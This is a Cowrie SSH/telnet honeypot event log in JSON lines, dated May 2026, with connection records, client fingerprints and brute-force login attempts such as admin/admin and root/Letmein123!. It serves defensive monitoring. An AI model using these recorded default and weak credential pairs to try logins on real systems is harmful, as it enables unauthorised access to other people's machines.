{"eventid":"cowrie.session.closed","duration":31.076083183288574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:45.004522Z","src_ip":"62.171.133.168","session":"a6c984ebadb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.241533041000366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:45.445870Z","src_ip":"34.69.118.1","session":"7066f5eadaee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.57561779022217,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:46.009055Z","src_ip":"34.69.118.1","session":"5b29e8491286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.573639392852783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:49.979278Z","src_ip":"62.171.133.168","session":"e4575fd8eb1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58823323249817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:52.160203Z","src_ip":"34.69.118.1","session":"08fa96698038","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990257263183594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:54.438146Z","src_ip":"62.171.133.168","session":"161bcfdf57b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.62.203.41","src_port":36882,"dst_ip":"10.17.0.5","dst_port":22,"session":"562d49eb4e66","protocol":"ssh","message":"New connection: 46.62.203.41:36882 (10.17.0.5:22) [session: 562d49eb4e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:56.671054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:56.675765Z","src_ip":"46.62.203.41","session":"562d49eb4e66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:56.792506Z","src_ip":"46.62.203.41","session":"562d49eb4e66","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:57.028908Z","src_ip":"46.62.203.41","session":"562d49eb4e66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:57.149773Z","src_ip":"46.62.203.41","session":"562d49eb4e66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":36306,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec6445035808","protocol":"ssh","message":"New connection: 130.12.180.51:36306 (10.17.0.5:22) [session: ec6445035808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:57.232230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:57.236804Z","src_ip":"130.12.180.51","session":"ec6445035808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:57.321248Z","src_ip":"130.12.180.51","session":"ec6445035808","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:57.567142Z","src_ip":"130.12.180.51","session":"ec6445035808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:58.091191Z","src_ip":"130.12.180.51","session":"ec6445035808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.09160590171814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:58.467961Z","src_ip":"34.69.118.1","session":"5355ce9e9fbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":42710,"dst_ip":"10.17.0.5","dst_port":22,"session":"2163fb57cbe5","protocol":"ssh","message":"New connection: 160.251.101.169:42710 (10.17.0.5:22) [session: 2163fb57cbe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:58.919725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:58.929204Z","src_ip":"160.251.101.169","session":"2163fb57cbe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:59.098862Z","src_ip":"160.251.101.169","session":"2163fb57cbe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:30:59.722106Z","src_ip":"160.251.101.169","session":"2163fb57cbe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:00.890821Z","src_ip":"160.251.101.169","session":"2163fb57cbe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.37187385559082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:01.977222Z","src_ip":"62.171.133.168","session":"afa5c8c5018e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":56252,"dst_ip":"159.203.135.109","dst_port":23,"session":"80b39e54b294","protocol":"telnet","message":"New connection: 167.99.38.72:56252 (159.203.135.109:23) [session: 80b39e54b294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:02.090120Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":54868,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4c39056e8d6","protocol":"telnet","message":"New connection: 167.99.38.72:54868 (159.203.135.109:23) [session: f4c39056e8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:02.876596Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":55404,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1eca6c50acc","protocol":"telnet","message":"New connection: 167.99.38.72:55404 (159.203.135.109:23) [session: b1eca6c50acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:03.696355Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":49992,"dst_ip":"159.203.135.109","dst_port":23,"session":"0268a41d26a7","protocol":"telnet","message":"New connection: 34.69.118.1:49992 (159.203.135.109:23) [session: 0268a41d26a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:08.270324Z"}
{"eventid":"cowrie.session.closed","duration":120.0016222000122,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:08.742705Z","src_ip":"186.155.157.120","session":"a54b3d6e6741","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":41830,"dst_ip":"159.203.135.109","dst_port":22,"session":"06d187541557","protocol":"ssh","message":"New connection: 122.168.114.167:41830 (159.203.135.109:22) [session: 06d187541557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:09.815201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:12.322123Z","src_ip":"122.168.114.167","session":"06d187541557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:12.325913Z","src_ip":"122.168.114.167","session":"06d187541557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":45072,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d0230f5316d","protocol":"telnet","message":"New connection: 62.171.133.168:45072 (159.203.135.109:23) [session: 3d0230f5316d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:12.642450Z"}
{"eventid":"cowrie.session.closed","duration":32.216386556625366,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:14.284114Z","src_ip":"34.69.118.1","session":"abc850a4781a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50008,"dst_ip":"159.203.135.109","dst_port":23,"session":"90e0451f3636","protocol":"telnet","message":"New connection: 34.69.118.1:50008 (159.203.135.109:23) [session: 90e0451f3636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:15.579138Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":38092,"dst_ip":"159.203.135.109","dst_port":22,"session":"a255ff83e136","protocol":"ssh","message":"New connection: 113.163.156.190:38092 (159.203.135.109:22) [session: a255ff83e136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:22.928617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:22.934080Z","src_ip":"113.163.156.190","session":"a255ff83e136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:23.183449Z","src_ip":"113.163.156.190","session":"a255ff83e136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Letmein123!","message":"login attempt [root/Letmein123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:24.215992Z","src_ip":"113.163.156.190","session":"a255ff83e136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":54742,"dst_ip":"10.17.0.5","dst_port":22,"session":"97fb175c98c0","protocol":"ssh","message":"New connection: 221.139.88.149:54742 (10.17.0.5:22) [session: 97fb175c98c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:24.277774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:24.282067Z","src_ip":"221.139.88.149","session":"97fb175c98c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:24.487165Z","src_ip":"221.139.88.149","session":"97fb175c98c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:24.495214Z","src_ip":"122.168.114.167","session":"06d187541557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa!123456","message":"login attempt [root/Aa!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:25.301254Z","src_ip":"221.139.88.149","session":"97fb175c98c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:25.468604Z","src_ip":"113.163.156.190","session":"a255ff83e136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:26.481915Z","src_ip":"221.139.88.149","session":"97fb175c98c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.7","message":"Connection lost after 18.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:28.474352Z","src_ip":"122.168.114.167","session":"06d187541557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":34246,"dst_ip":"159.203.135.109","dst_port":22,"session":"529ffd063c21","protocol":"ssh","message":"New connection: 193.24.211.95:34246 (159.203.135.109:22) [session: 529ffd063c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:35.184663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:31:35.201372Z","src_ip":"193.24.211.95","session":"529ffd063c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256